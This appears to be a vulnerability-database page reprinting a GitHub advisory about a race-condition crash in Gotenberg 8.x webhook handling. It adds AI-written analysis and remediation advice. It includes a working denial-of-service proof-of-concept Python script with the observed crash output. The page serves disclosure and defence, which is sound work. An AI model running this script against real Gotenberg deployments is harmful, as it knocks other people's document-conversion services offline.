Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=errorSingle-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"
# passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
STOP.set()
breakObserved output:
process crashed after 2.2s, exit code 2Container stderr captured with docker logs gotenberg-poc:
panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
/home/pkg/modules/api/middlewares.go:398 +0x2e6
/home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
/home/pkg/modules/webhook/middleware.go:338 +0x1176Impact
Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.
Recommended Fix
Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
return errors.New("context reused from pool before middleware chain populated it")
}Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:
go func() {
defer func() {
if r := recover(); r != nil {
ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
handleError(fmt.Errorf("internal error: %v", r))
}
}()
defer cancel()
defer w.asyncCount.Add(-1)
...
}()A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.
--- *Found by aisafe.io*
AnalysisAI
Unauthenticated remote attackers crash Gotenberg 8.x (≤ 8.31.0) by triggering a race condition between webhook goroutine context reuse and Echo framework connection pooling. When webhook middleware spawns an async goroutine holding an echo.Context reference, the synchronous handler returns immediately, recycling the context to Echo's sync.Pool. Concurrent requests reset the pooled context, causing unchecked type assertions in the still-running webhook goroutine to panic outside any recover() scope, terminating the process with exit code 2. Twenty-four webhook requests plus sixty concurrent GET requests demonstrate reliable two-second crash windows. No patch was available at initial disclosure; upstream commit fixes the panic in version 8.32.0. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects trivial unauthenticated network exploitation producing complete service disruption.
Technical ContextAI
Gotenberg is a Docker-powered HTTP API for converting documents (HTML, Markdown, Office formats) to PDF using Chromium and LibreOffice. The vulnerable code resides in the Echo web framework middleware chain: pkg/modules/webhook/middleware.go spawns goroutines to handle asynchronous webhook deliveries, and pkg/modules/api/middlewares.go implements request lifecycle guards. Echo (labstack/echo) uses sync.Pool to recycle echo.Context objects across requests for performance. The root cause is CWE-362 (Race Condition): the webhook goroutine retains a pointer to a pooled context after the HTTP handler returns, violating Go's sync.Pool contract that objects must not be referenced after Put(). When c.Reset() clears the context store and a new request populates it, the webhook goroutine's type assertion c.Get("logger").(*slog.Logger) at line 398 reads nil and panics. Go's runtime terminates the process because the panic occurs outside the defer recover() block that begins later in the handler stack. The CPE pkg:go/github.com_gotenberg_gotenberg_v8 identifies all v8 releases through 8.31.0 as vulnerable; 8.32.0 patches the assertion and adds defensive recovery blocks.
RemediationAI
Upgrade to Gotenberg 8.32.0 or later, which replaces the unchecked type assertion with guarded nil checks and adds a top-level defer-recover block in webhook goroutines (fix confirmed in GitHub advisory GHSA-r33j-c622-r6qp). Docker users: pull gotenberg/gotenberg:8.32.0 or :latest and redeploy containers. Kubernetes: update image tags in Deployment manifests and roll out pods. For environments unable to patch immediately, disable webhook functionality by setting --webhook-disable=true at process startup; this eliminates async goroutine spawning but removes webhook delivery features entirely. Alternatively, restrict webhook endpoint access using reverse proxy rules (nginx location blocks, Envoy route filters) to reject POST requests to /forms/*/convert/* paths carrying Gotenberg-Webhook-Url headers, though this breaks legitimate webhook workflows. Network segmentation (firewall rules allowing only trusted source IPs to port 3000) reduces external attack surface but does not prevent abuse by internal users in multi-tenant scenarios. Rate limiting at the ingress layer (10 requests/second per source IP) slows exploitation but does not prevent eventual crashes. All workarounds trade functionality or usability for partial risk reduction; only upgrading to 8.32.0 fully resolves the race condition.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-362 – Race Condition
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30312
GHSA-r33j-c622-r6qp